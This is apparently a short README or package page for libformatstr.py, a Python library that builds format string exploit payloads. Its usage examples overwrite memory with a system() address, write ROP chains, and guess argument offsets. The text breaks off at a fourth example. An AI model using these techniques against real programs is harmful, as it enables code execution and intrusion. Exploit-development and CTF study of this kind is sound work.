libformatstr.py

0

Free

Small script to simplify format string exploitation. Usage Case 1 - replace one dword: import sys from libformatstr import FormatStr addr = 0x08049580 system_addr = 0x080489a3 p = FormatStr() p[addr] = system_addr # buf is 14th argument, 4 bytes are already printed sys.stdout.write( p.payload(14, start_len=4) ) Case 2 - put ROP code somewhere: import sys from libformatstr import FormatStr addr = 0x08049580 rop = [0x080487af, 0x0804873c, 0x080488de] p = FormatStr() p[addr] = rop sys.stdout.write( p.payload(14) ) Case 3 - guess argument number and padding: import sys from libformatstr import FormatStr # let's say we have do_fmt function, # which gives us only output of format string # (you can also just copy fmtstr and output manually) buf_size = 250 # fix buf_size to avoid offset variation res = do_fmt(make_pattern(buf_size)) argnum, padding = guess_argnum(res, buf_size) # of course you can use it in payload generation p = FormatStr(buf_size) p[0xbffffe70] = "\x70\xfe\xff\xbf\xeb\fe" # yes, you can also put strings sys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already Case 4 - write something in specificed order: from libformatstr